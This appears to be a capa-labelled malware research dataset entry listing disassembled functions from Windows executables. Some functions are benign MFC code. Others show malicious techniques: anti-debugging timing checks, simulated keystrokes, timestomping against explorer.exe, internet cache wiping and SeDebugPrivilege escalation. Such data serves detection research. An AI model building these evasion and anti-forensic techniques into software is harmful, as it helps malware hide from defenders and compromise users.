joyce8/EMBER2024-capa huggingface dataset:
Function at 0x441ba0
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ac23b
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x4dc8d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0046d650
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
mov dword [eax], vtable.CInternetFile.0
mov ecx, dword [ebp - 0x14]
add ecx, 0x24
call fcn.00401a80
mov byte [ebp - 4], 1
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004461a0
test eax, eax
jne 0x441c14
push 0x31d
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
call fcn.0042f900
test eax, eax
je 0x441c14
int3
cmp dword [ebp + 0x10], 0
jne 0x441c2e
push 0x31e
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
call fcn.0042f900
test eax, eax
je 0x441c2e
int3
push 0x31f
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00444020
cmp dword [ebp + 8], 0
jne 0x441c5b
push 0x320
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
call fcn.0042f900
test eax, eax
je 0x441c5b
int3
mov ecx, dword [ebp + 0x10]
call fcn.0042b770
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, 0x4e0150
call fcn.00441720
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0xc
call fcn.00403420
mov ecx, dword [ebp + 0x10]
call fcn.0046fee0
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x1c], eax
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x10]
call fcn.00443c50
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp - 0x14]
add ecx, 0x24
call fcn.00402580
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10]
call fcn.004018a0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x3c], 0
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x30], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x34], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x38], 0
mov edx, dword [ebp - 0x14]
mov dword [edx + 0x28], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x2c], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x40], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4431c0
Capabilities:
Connect to http server

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ac323
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x4dc8d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 0x1c]
push eax
movzx ecx, word [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00442ec0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx], vtable.CHttpConnection.0
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
call fcn.00401a80
mov byte [ebp - 4], 1
cmp dword [ebp + 8], 0
jne 0x44323a
push 0x7a3
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
call fcn.0042f900
test eax, eax
je 0x44323a
int3
push 0x4ba29c
mov ecx, dword [ebp + 8]
call fcn.00443f30
test eax, eax
jne 0x44325f
push 0x7a4
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
call fcn.0042f900
test eax, eax
je 0x44325f
int3
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004461a0
test eax, eax
jne 0x443282
push 0x7a5
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcinet.cpp
call fcn.0042f900
test eax, eax
je 0x443282
int3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 8]
push ecx
push 0
push 3
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
movzx ecx, word [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
call fcn.0046fee0
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x10]
cmp dword [edx + 4], 0
jne 0x4432cc
push 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 8]
push ecx
call fcn.004438a0
jmp 0x4432e4
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 4]
push edx
mov ecx, 0x4e0150
call fcn.00441720
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x46b9a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 0xc], 0
je 0x46bac8
call fcn.0042d090
mov dword [ebp - 0x10], eax
push 0xf0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x46ba5b
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x46ba32
push str.DLGINIT_resource_was_found__but_could_not_be_loaded._n
push 0
mov ecx, 0x4e01a4
call fcn.00401950
push eax
push 0x16f
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
lea ecx, [ebp - 0x20]
call fcn.00401930
push eax
call fcn.00419600
add esp, 0x10
xor eax, eax
jmp 0x46bb36
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x46ba59
push 0x175
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
call fcn.0042f900
test eax, eax
je 0x46ba59
int3
jmp 0x46bac8
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
jne 0x46ba7e
push 0x17d
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
call fcn.0042f900
test eax, eax
je 0x46ba7e
int3
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0xffffffff
je 0x46bac8
mov ecx, dword [ebp - 0x18]
cmp dword [ecx], 0
je 0x46babd
push str.Dialog_has_OLE_controls__but_no_matching_DLGINIT_resource._n
push 0
mov ecx, 0x4e01a4
call fcn.00401950
push eax
push 0x183
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
lea ecx, [ebp - 0x28]
call fcn.00401930
push eax
call fcn.00419600
add esp, 0x10
jmp 0x46bac8
mov edx, dword [ebp - 0x18]
add edx, 4
mov dword [ebp - 0x18], edx
jmp 0x46ba7e
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0
je 0x46baf1
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x20]
call eax
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x46bb10
cmp dword [ebp - 0xc], 0
je 0x46bb10
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0045ff50
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp + 8]
cmp dword [eax + 0x4c], 0
je 0x46bb33
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x4c]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x4c]
mov edx, dword [eax]
mov eax, dword [edx + 0xa8]
call eax
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x477740
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4dc8d0]
jne 0x47774a
repz ret
jmp fcn.00485540
Function at 0x4018fa
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00407054
push edi
push 0x2000
lea eax, [ebp - 0x2000]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
lea edi, [ebp + 0x10]
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x2000]
push eax
call fcn.00406fc6
add esp, 0xc
xor edi, edi
lea eax, [ebp - 0x2000]
push eax
call sub.KERNEL32.DLL_lstrlenA
push 0
push eax
lea edi, [ebp - 0x2000]
push edi
push dword [ebp + 8]
call sub.WS2_32.DLL_send
pop edi
leave
ret

Function at 0x401bf2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
or eax, eax
je 0x401c20
xor eax, eax
jmp 0x401c51
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
mov esi, eax
inc esi
push esi
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
xor edi, edi
cmp eax, edi
xchg edi, eax
sete al
xchg edi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x401cc9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
or eax, eax
je 0x401cf6
xor eax, eax
jmp 0x401d1e
push 4
lea eax, [ebp + 0x14]
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
or eax, eax
je 0x401d11
xor edi, edi
xor edi, edi
inc edi
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, edi
pop edi
leave
ret

Function at 0x401d21
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 4
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
or eax, eax
je 0x401d55
or eax, 0xffffffff
jmp 0x401d80
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
or eax, eax
je 0x401d75
or eax, 0xffffffff
jmp 0x401d80
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x401d82
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegCreateKeyExA
or eax, eax
je 0x401daf
xor eax, eax
jmp 0x401dcd
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegDeleteValueA
xor edi, edi
cmp eax, edi
xchg edi, eax
sete al
xchg edi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, edi
pop edi
leave
ret
Function at 0x401def
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [0x40b49c]
call sub.WS2_32.DLL_getsockname
movzx eax, byte [ebp - 0x10]
mov word [ebp - 2], ax
movzx eax, byte [ebp - 0xf]
mov word [ebp - 4], ax
cmp word [ebp - 2], 0xac
jne 0x401e35
movzx eax, word [ebp - 4]
cmp eax, 0xf
jle 0x401e35
cmp eax, 0x20
jl 0x401e4d
movzx eax, word [ebp - 2]
cmp eax, 0xa
je 0x401e4d
cmp eax, 0xc0
jne 0x401e52
cmp word [ebp - 4], 0xa8
jne 0x401e52
xor eax, eax
inc eax
jmp 0x401e54
xor eax, eax
leave
ret
Function at 0x403ae9
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor esi, esi
rdtsc
mov esi, eax
mov dword [ebp - 4], esi
push 0x3e8
call sub.KERNEL32.DLL_Sleep
rdtsc
mov esi, eax
mov eax, esi
sub eax, dword [ebp - 4]
mov ecx, 0xf4240
mov edx, 0x431bde83
mul edx
shr edx, 0x12
mov dword [ebp - 0xc], edx
mov ebx, edx
cmp ebx, 0x186a0
ja 0x403af4
mov eax, ebx
mov ecx, 0x64
xor edx, edx
div ecx
mov esi, edx
mov dword [ebp - 8], 0x64
cmp esi, 0xa
jae 0x403b49
and dword [ebp - 8], 0
jmp 0x403b8d
cmp esi, 0x1e
jae 0x403b57
mov dword [ebp - 8], 0x19
jmp 0x403b8d
cmp esi, 0x26
jae 0x403b65
mov dword [ebp - 8], 0x21
jmp 0x403b8d
cmp esi, 0x37
jae 0x403b73
mov dword [ebp - 8], 0x32
jmp 0x403b8d
cmp esi, 0x47
jae 0x403b81
mov dword [ebp - 8], 0x42
jmp 0x403b8d
cmp esi, 0x50
jae 0x403b8d
mov dword [ebp - 8], 0x4b
mov eax, ebx
sub eax, esi
mov ebx, eax
add ebx, dword [ebp - 8]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403c6b
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor edi, edi
jmp 0x403d8e
mov al, byte [ebx + edi]
mov byte [ebp - 1], al
movsx eax, byte [ebp - 1]
test byte [eax + str.________________________________H], 1
jne 0x403ccc
cmp eax, 0x20
jle 0x403c9f
cmp eax, 0x2c
jge 0x403c9f
cmp eax, 0x27
jne 0x403ccc
mov al, byte [ebp - 1]
cmp al, 0x3a
je 0x403ccc
cmp al, 0x3c
je 0x403ccc
cmp al, 0x3d
jle 0x403cb2
cmp al, 0x41
jl 0x403ccc
movsx eax, byte [ebp - 1]
cmp al, 0x7a
jle 0x403cc1
cmp eax, 0x93
jl 0x403ccc
mov al, byte [ebp - 1]
cmp al, 0x5e
je 0x403ccc
cmp al, 0x5f
jne 0x403cd9
push 0
push 0
push 0
push 0x10
call sub.USER32.DLL_keybd_event
cmp byte [ebp - 1], 2
jne 0x403ced
push 0xd
call sub.USER32.DLL_VkKeyScanA
mov edx, eax
movsx esi, dx
jmp 0x403d10
cmp byte [ebp - 1], 0x1f
jne 0x403d01
push 8
call sub.USER32.DLL_VkKeyScanA
mov edx, eax
movsx esi, dx
jmp 0x403d10
movsx eax, byte [ebp - 1]
push eax
call sub.USER32.DLL_VkKeyScanA
mov edx, eax
movsx esi, dx
push 0
push 0
push 0
mov eax, esi
and eax, 0xff
push eax
call sub.USER32.DLL_keybd_event
push 0
push 2
push 0
mov eax, esi
and eax, 0xff
push eax
call sub.USER32.DLL_keybd_event
movsx eax, byte [ebp - 1]
test byte [eax + str.________________________________H], 1
jne 0x403d80
cmp eax, 0x20
jle 0x403d53
cmp eax, 0x2c
jge 0x403d53
cmp eax, 0x27
jne 0x403d80
mov al, byte [ebp - 1]
cmp al, 0x3a
je 0x403d80
cmp al, 0x3c
je 0x403d80
cmp al, 0x3d
jle 0x403d66
cmp al, 0x41
jl 0x403d80
movsx eax, byte [ebp - 1]
cmp al, 0x7a
jle 0x403d75
cmp eax, 0x93
jl 0x403d80
mov al, byte [ebp - 1]
cmp al, 0x5e
je 0x403d80
cmp al, 0x5f
jne 0x403d8d
push 0
push 2
push 0
push 0x10
call sub.USER32.DLL_keybd_event
inc edi
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp edi, eax
jl 0x403c7c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401497
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40dcc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa0
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa0], 0x10
mov ecx, dword [ebp + 8]
call fcn.00401670
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::GetBuffer
mov dword [ebp - 0x98], eax
push 0xf0000020
push 1
push 0
push 0
lea ecx, [ebp - 0x9c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401601
lea edx, [ebp - 0x94]
push edx
push 0
push 0
push 0x8003
mov eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x401601
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x98]
push edx
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x401601
push 0
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x90]
push edx
push 2
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x401601
mov ecx, dword [ebp - 0xac]
add ecx, 4
call sub.MFC42.DLL_CString::Empty
lea ecx, [ebp - 0xa4]
call sub.MFC42.DLL_CString::CString_2
mov dword [ebp - 4], 0
mov dword [ebp - 0xa8], 0
jmp 0x4015ab
mov ecx, dword [ebp - 0xa8]
add ecx, 1
mov dword [ebp - 0xa8], ecx
cmp dword [ebp - 0xa8], 0x10
jge 0x4015ef
mov edx, dword [ebp - 0xa8]
xor eax, eax
mov al, byte [ebp + edx - 0x90]
push eax
push str._02x
lea ecx, [ebp - 0xa4]
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea edx, [ebp - 0xa4]
push edx
mov ecx, dword [ebp - 0xac]
add ecx, 4
call sub.MFC42.DLL_CString::operator
jmp 0x40159c
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa4]
call sub.MFC42.DLL_CString::CString
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::ReleaseBuffer
mov eax, dword [ebp - 0xac]
add eax, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x401777
Capabilities:
Get common file path
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.explorer.exe
lea ecx, [ebp - 0x114]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401851
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401851
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401894
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x1000
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x7a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x401993
cmp dword [ebp - 0x30], 0x7a
je 0x4018ec
cmp dword [ebp - 0x30], 0x103
je 0x401980
jmp 0x401a12
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov dword [edx], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 4], 0
jne 0x401948
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
mov dword [ebp - 4], eax
xor ecx, ecx
cmp dword [ebp - 4], 0
setne cl
mov dword [ebp - 0x20], ecx
jmp 0x40195d
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40196c
mov dword [ebp - 0x1c], 0
jmp 0x40197b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
jmp 0x401a19
mov dword [ebp - 8], 1
mov dword [ebp - 0x18], 1
jmp 0x401a19
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
and ecx, 0x100000
test ecx, ecx
je 0x4019b0
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ecx, 0x4173c0
call fcn.0040c7e0
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4019dc
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
test eax, eax
je 0x401a01
mov dword [ebp - 0x1c], 0
jmp 0x401a10
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x401a19
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 0
je 0x401a41
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
cmp dword [ebp - 4], 0
je 0x401a41
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
cmp dword [ebp - 8], 0
je 0x4018c4
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x401ab1
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401af7
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
jmp 0x401af9
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401afd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401b4b
mov eax, dword [ebp + 0x14]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x401e48
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x44
push 0
lea eax, [ebp - 0x54]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x54], 0x44
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
cmp eax, 1
jne 0x401ea2
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
jmp 0x401ea4
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401ea8
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x34]
push eax
push 0x28
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401ecf
xor eax, eax
jmp 0x401f4d
lea edx, [ebp - 0xc]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x401ef2
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x401f4d
push 0x10
push 0
lea ecx, [ebp - 0x1c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x1c], 1
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 2
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x30]
push edx
push 0x10
lea eax, [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x401f48
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
